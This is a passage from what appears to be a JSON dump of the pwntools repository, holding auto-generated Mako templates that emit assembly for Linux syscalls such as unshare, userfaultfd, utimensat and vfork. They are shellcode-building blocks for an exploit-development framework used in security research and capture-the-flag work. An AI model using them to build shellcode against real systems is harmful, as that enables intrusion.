    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>unshare(flags) -> str\n\nInvokes the syscall unshare.\n\nSee 'man 2 unshare' for more information.\n\nArguments:\n    flags(int): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['flags']\n    argument_values = [flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_unshare']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_unshare'])\n%>\n    /* unshare(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/uselib.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>uselib(library) -> str\n\nInvokes the syscall uselib.\n\nSee 'man 2 uselib' for more information.\n\nArguments:\n    library(char*): library\nReturns:\n    int\n</%docstring>\n<%page args=\"library=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['library']\n    can_pushstr_array = []\n\n    argument_names = ['library']\n    argument_values = [library]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_uselib']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_uselib'])\n%>\n    /* uselib(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/userfaultfd.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>userfaultfd(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall userfaultfd.\n\nSee 'man 2 userfaultfd' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_userfaultfd']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_userfaultfd'])\n%>\n    /* userfaultfd(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/ustat.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>ustat(dev, ubuf) -> str\n\nInvokes the syscall ustat.\n\nSee 'man 2 ustat' for more information.\n\nArguments:\n    dev(dev_t): dev\n    ubuf(ustat*): ubuf\nReturns:\n    int\n</%docstring>\n<%page args=\"dev=0, ubuf=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['dev', 'ubuf']\n    argument_values = [dev, ubuf]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_ustat']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_ustat'])\n%>\n    /* ustat(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/utime.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>utime(file, file_times) -> str\n\nInvokes the syscall utime.\n\nSee 'man 2 utime' for more information.\n\nArguments:\n    file(char*): file\n    file_times(utimbuf*): file_times\nReturns:\n    int\n</%docstring>\n<%page args=\"file=0, file_times=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['file']\n    can_pushstr_array = []\n\n    argument_names = ['file', 'file_times']\n    argument_values = [file, file_times]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_utime']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_utime'])\n%>\n    /* utime(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/utimensat.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>utimensat(fd, path, times, flags) -> str\n\nInvokes the syscall utimensat.\n\nSee 'man 2 utimensat' for more information.\n\nArguments:\n    fd(int): fd\n    path(char*): path\n    times(timespec*): times\n    flags(int): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, path=0, times=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['path']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'path', 'times', 'flags']\n    argument_values = [fd, path, times, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_utimensat']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_utimensat'])\n%>\n    /* utimensat(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/utimensat_time64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>utimensat_time64(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall utimensat_time64.\n\nSee 'man 2 utimensat_time64' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_utimensat_time64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_utimensat_time64'])\n%>\n    /* utimensat_time64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/utimes.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>utimes(file, tvp) -> str\n\nInvokes the syscall utimes.\n\nSee 'man 2 utimes' for more information.\n\nArguments:\n    file(char*): file\n    tvp(timeval*): tvp\nReturns:\n    int\n</%docstring>\n<%page args=\"file=0, tvp=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['file']\n    can_pushstr_array = []\n\n    argument_names = ['file', 'tvp']\n    argument_values = [file, tvp]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_utimes']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_utimes'])\n%>\n    /* utimes(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/vfork.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>vfork() -> str\n\nInvokes the syscall vfork.\n\nSee 'man 2 vfork' for more information.\n\nArguments:\n\nReturns:\n    pid_t\n</%docstring>\n<%page args=\"\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = []\n    argument_values = []\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_vfork']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_vfork'])\n%>\n    /* vfork(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/vhangup.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>vhangup() -> str\n\nInvokes the syscall vhangup.\n\nSee 'man 2 vhangup' for more information.\n\nArguments:\n\nReturns:\n    int\n</%docstring>\n<%page args=\"\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = []\n    argument_values = []\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in 